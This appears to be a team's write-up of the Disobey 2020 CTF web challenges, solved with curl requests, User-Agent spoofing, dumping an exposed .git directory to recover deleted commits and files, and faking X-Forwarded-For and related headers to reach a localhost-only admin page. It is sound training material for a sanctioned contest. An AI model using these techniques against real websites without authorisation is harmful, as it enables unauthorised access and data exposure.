Disobey 2020 CTF Web challenges writeup
---------------------------------------
I think we solved them all, there was though one part of the web challenge, which disappeared during the ctf and in our end results one, that I'm not aware of what it was, maybe I'm just too much of a scatterbrain.
I've renamed the target host here, just in case.
Crawl like a bot
----------------
Well as most of us know, the web crawlers can be guided in indexing by using robots.txt. So we tested for target.host/robots.txt:
curl -L target.host/robots.txt
User-agent: *
Disallow:
BCTF{are_y0u_a_b0t?}
New blog, new adventures
------------------------
Just checked the source code:
--snip--
<!-- BCTF{HTML_c0mm3nts_are_sne4ky} -->
--snip--
Old is gold
-----------
Monitored the traffic between our web client and the server and saw that every response from the web server contains an x-flag, and x-flags were deprecated in 2012:
BCTF{header_c4n_also_be_fl4gg3d}
499 I am a Playstation
----------------------
The target contains a link to their mobile site: target.host/playstation4.html but gives the error "You are not a Playstation 4. GTFO".
So let's try to provide the server with PS4's user agent (Mozilla/5.0 (PlayStation 4 5.55) AppleWebKit/601.2 (KHTML, like Gecko)) when requesting the page:
curl 'https://target.host/playstation4.html' \
-H 'User-Agent: Mozilla/5.0 (PlayStation 4 5.55) AppleWebKit/601.2 (KHTML, like Gecko)' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' --compressed \
-H 'Connection: keep-alive' \
-H 'Referer: https://target.host/' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Pragma: no-cache' \
-H 'Cache-Control: no-cache' \
-H 'TE: Trailers'
Oh nice, you just surfed this page with a Playstation 4. Here is your Flag: BCTF{even_c0ns0les_use_1ntern3t}
Well known
----------
Figured it means the ".well-known" hidden folder (RFC5785), so tested for target.host/.well-known/ which gave 403. So it exists.
We polled through for all the registered URIs with well-known.sh
bash ~/Tools/well-known.sh target.host
.-------------------------------------------------------.
| Checking for .well-known/files... |
+-------------------------------------------------------+
|> security.txt FOUND!
+-------------------------------------------------------+
| DONE |
'-------------------------------------------------------'
OK, so security.txt exists, let's curl it out:
curl -L target.host/.well-known/security.txt
You found a critical bug?
Write a mail to
security étrandomuser döt xx
BCTF{this_should_be_well_known}
All the infos
-------------
So this one could be found by discovering target.host/.git/ which we did with DirBuster using quickhits.
Then we carved the .git/ and it's content with gitGet.sh
Then examine .git/logs/HEAD:
cat .git/logs/HEAD
--snip--
ae8f4a561a6c0ff6f8a2cf0154111a5b48297879 d9d07d0132da441c1a7def288f0cec9c40d3183e randomuser 1567705717 +0200 commit: gotcha BCTF{g1t_log_giv3s_1nfo}
--snip--
Mistake
-------
Another one we can find from the .git/
cat .git/logs/refs/heads/master
0000000000000000000000000000000000000000 e79a1a2ef8308dc314ca1a312dfc678e7911e883 randomuser 1567704950 +0200 commit (initial): initial commit webpage
--> e79a1a2ef8308dc314ca1a312dfc678e7911e883 eeaddaff36785b17d4f356828e8da0cc155adba7 randomuser 1567705284 +0200 commit: added secret file
eeaddaff36785b17d4f356828e8da0cc155adba7 385ee959a95ba5c2392186f6d9a9937d6db97bf8 randomuser 1567705336 +0200 commit: oooooops
385ee959a95ba5c2392186f6d9a9937d6db97bf8 ae8f4a561a6c0ff6f8a2cf0154111a5b48297879 randomuser 1567705612 +0200 commit: blog modified
--snip---
Secret file seems interesting, lets check it out and compare to the original commit to see what it contains:
git checkout eeaddaff36785b17d4f356828e8da0cc155adba7
git diff e79a1a2ef8308dc314ca1a312dfc678e7911e883
diff --git a/supersecretflag.txt b/supersecretflag.txt
new file mode 100644
index 0000000..718ad87
--- /dev/null
+++ b/supersecretflag.txt
@@ -0,0 +1,2 @@
+BCTF{th1s_w4s_a_mistake}
+Belongs to "web mistake"
Portfolio
---------
Another flag that can be obtained through the .git/. As the live version of the site looks like it's had a portfolio, but only the images it had remain, it must've been removed at some point.
cat .git/logs/refs/heads/master
--snip--
9202d04f94718561a210b4f2046f3e0ef740bd73 3a53815c32ecb84742080859e4fe3e66ee5d73c8 randomuser 1567707791 +0200 commit: apparently i did something…
3a53815c32ecb84742080859e4fe3e66ee5d73c8 aeca30ef5262e35ae3d9d823c802365e655cf5c0 randomuser 1567708013 +0200 commit: We should get someone from Purdue to do this. They are the boilerplaters.
aeca30ef5262e35ae3d9d823c802365e655cf5c0 134d99a7aa8848a07c118eaf26c4c7fb75ca61dd randomuser 1567708075 +0200 commit: who needs portfolios anyway
--snip--
Looks like someone removed the portfolios in commit 134d99a7aa8848a07c118eaf26c4c7fb75ca61dd, so we temporarily revert to the previous version:
git checkout aeca30ef5262e35ae3d9d823c802365e655cf5c0
Now we got portfolio-index.html and in it we found:
BCTF{lol_del3ted_file}
Admin
-----
There's a hidden admin page somewhere? As the DirBuster didn't reveal anything earlier, there must be some actual way of finding the dir.
At this point we've already discovered the .git/ and carved the content so maybe there's some info in it to proceed:
cat .git/logs/refs/heads/master
0000000000000000000000000000000000000000 e79a1a2ef8308dc314ca1a312dfc678e7911e883 randomuser 1567704950 +0200 commit (initial): initial commit webpage
e79a1a2ef8308dc314ca1a312dfc678e7911e883 eeaddaff36785b17d4f356828e8da0cc155adba7 randomuser 1567705284 +0200 commit: added secret file
eeaddaff36785b17d4f356828e8da0cc155adba7 385ee959a95ba5c2392186f6d9a9937d6db97bf8 randomuser 1567705336 +0200 commit: oooooops
385ee959a95ba5c2392186f6d9a9937d6db97bf8 ae8f4a561a6c0ff6f8a2cf0154111a5b48297879 randomuser 1567705612 +0200 commit: blog modified
ae8f4a561a6c0ff6f8a2cf0154111a5b48297879 d9d07d0132da441c1a7def288f0cec9c40d3183e randomuser 1567705717 +0200 commit: gotcha BCTF{g1t_log_giv3s_1nfo}
d9d07d0132da441c1a7def288f0cec9c40d3183e d8430f3d07c039cca6583dfb8cc536532a7ea822 randomuser 1567706007 +0200 commit: A long time ago, in a galaxy far far away...
d8430f3d07c039cca6583dfb8cc536532a7ea822 8c1594f2502dc1dfce6d88a1aa35c27438b9ea56 randomuser 1567706254 +0200 commit: TDD: 1, Me: 0
8c1594f2502dc1dfce6d88a1aa35c27438b9ea56 f7c6a6280bef00b2ff7d98131f583c330f22ce18 randomuser 1567706277 +0200 commit: git + ipynb = :(
f7c6a6280bef00b2ff7d98131f583c330f22ce18 da85b477acb9522308e4b4be600dd8ef76e657bd randomuser 1567706312 +0200 commit: It'd be nice if type errors caused the compiler to issue a type error
da85b477acb9522308e4b4be600dd8ef76e657bd 5d7736d3fb4bf342e5889437200c637ecbebae49 randomuser 1567706326 +0200 commit: Corrected mistakes
5d7736d3fb4bf342e5889437200c637ecbebae49 0da789551747b1f78006418316739674e05bf846 randomuser 1567706384 +0200 commit: Pig
--> 0da789551747b1f78006418316739674e05bf846 bf5b5457596aa7e370021f89cb4921178e4516f4 randomuser 1567706420 +0200 commit: oopsie B|
bf5b5457596aa7e370021f89cb4921178e4516f4 5b5695a6a5581a0944f63959b61675f5ae7f5d2a randomuser 1567706520 +0200 commit: Testing the test
5b5695a6a5581a0944f63959b61675f5ae7f5d2a d8133c0a913a7b27e19ebb1b4fa35ad1620eeb83 randomuser 1567706677 +0200 commit: Todo!!!
d8133c0a913a7b27e19ebb1b4fa35ad1620eeb83 6a2de00ef9b48e78324f229e0410f135b5d18a8b randomuser 1567707010 +0200 commit: another big bag of changes
6a2de00ef9b48e78324f229e0410f135b5d18a8b 58c11bce11c2079fbc15d2b53ff7b3b4ec40bd4a randomuser 1567707013 +0200 commit: One does not simply merge into master
58c11bce11c2079fbc15d2b53ff7b3b4ec40bd4a 6837f383cc0d6c065d0fd5d98c12d6450b457c73 randomuser 1567707123 +0200 commit: 640K ought to be enough for anybody
6837f383cc0d6c065d0fd5d98c12d6450b457c73 860b0435e0ace3345facdbdb433e6476e720d6fe randomuser 1567707172 +0200 commit: :(:(
860b0435e0ace3345facdbdb433e6476e720d6fe eb409cc51c2e244985a9994e0a6e661002330c48 randomuser 1567707456 +0200 commit: rats
eb409cc51c2e244985a9994e0a6e661002330c48 6afa9ec17549205062b38e601f06af3cbf39f2a9 randomuser 1567707618 +0200 commit: lol digg
6afa9ec17549205062b38e601f06af3cbf39f2a9 1599e20af4367923500263f1943d54c17bb0be0d randomuser 1567707664 +0200 commit: commented out failing tests
1599e20af4367923500263f1943d54c17bb0be0d 433ebe8194848a752e8aa76692c99287b8b6967c randomuser 1567707675 +0200 commit: Fixed a bug in NoteLineCount... not seriously...
433ebe8194848a752e8aa76692c99287b8b6967c f05f48ffb2d655ecd889d74b4c0eb3807624d277 randomuser 1567707687 +0200 commit: Blaming regex.
f05f48ffb2d655ecd889d74b4c0eb3807624d277 9202d04f94718561a210b4f2046f3e0ef740bd73 randomuser 1567707700 +0200 commit: One little whitespace gets its very own commit! Oh, life is so erratic!
9202d04f94718561a210b4f2046f3e0ef740bd73 3a53815c32ecb84742080859e4fe3e66ee5d73c8 randomuser 1567707791 +0200 commit: apparently i did something…
3a53815c32ecb84742080859e4fe3e66ee5d73c8 aeca30ef5262e35ae3d9d823c802365e655cf5c0 randomuser 1567708013 +0200 commit: We should get someone from Purdue to do this. They are the boilerplaters.
aeca30ef5262e35ae3d9d823c802365e655cf5c0 134d99a7aa8848a07c118eaf26c4c7fb75ca61dd randomuser 1567708075 +0200 commit: who needs portfolios anyway
134d99a7aa8848a07c118eaf26c4c7fb75ca61dd b6913fd7cde61e54790f40470f604f28f9d24f56 randomuser 1567711171 +0200 commit: Merge pull request #67 from Lazersmoke/fix-andys-shit Fix andys shit
b6913fd7cde61e54790f40470f604f28f9d24f56 cdd46076921e2c34b6cb6480b8f0c2a7201b3ca0 randomuser 1567711209 +0200 commit: work in progress
cdd46076921e2c34b6cb6480b8f0c2a7201b3ca0 a1ca8ed010e041b6ff6b8f6ba57b33d8e3e22b97 randomuser 1567712515 +0200 commit: Is there an achievement for this?
Well oopsie always sounds promising, so lets temporarily revert to that:
git checkout bf5b5457596aa7e370021f89cb4921178e4516f4
##ETERM#
Then maybe just try the easiest thing first; compare the restored commit to the latest commit:
git diff a1ca8ed010e041b6ff6b8f6ba57b33d8e3e22b97
--snip--
diff --git a/contact.html b/contact.html
index 1a02ecb..cb62f83 100644
--- a/contact.html
+++ b/contact.html
@@ -3,10 +3,6 @@
<!--[if IE 8 ]><html class="no-js ie ie8" lang="en"> <![endif]-->
<!--[if (gte IE 8)|!(IE)]><!--><html class="no-js" lang="en"> <!--<![endif]-->
<head>
-
-<!-- TODO
-add better access control to /admincontrolcenter, only local access now permitted
--->
--snip--
That seems promising, an admin url. So lets try opening it:
curl target.host/admincontrolcenter
<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.10.3</center>
</body>
</html>
Oopsie, let's follow the 301 by adding the -L handle:
curl -L target.host/admincontrolcenter
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3</center>
</body>
</html>
Aw snap, well we know it's there, just need to figure out why the 403...
Well we tried the easiest approach first: tell the server we're from localhost using x-headers:
curl -L $'https://target.host/admincontrolcenter/' \
-H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' \
-H $'x-originating-IP: 127.0.0.1' \
-H $'x-forwarded-for: 127.0.0.1' \
-H $'x-remote-IP: 127.0.0.1' \
-H $'x-remote-addr: 127.0.0.1'
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Title of the document</title>
</head>
<body>
Welcome Admin.
Great to see you from localhost
Here is your Flag: BCTF{X_Forwarding_Abuse_FTW}
</body>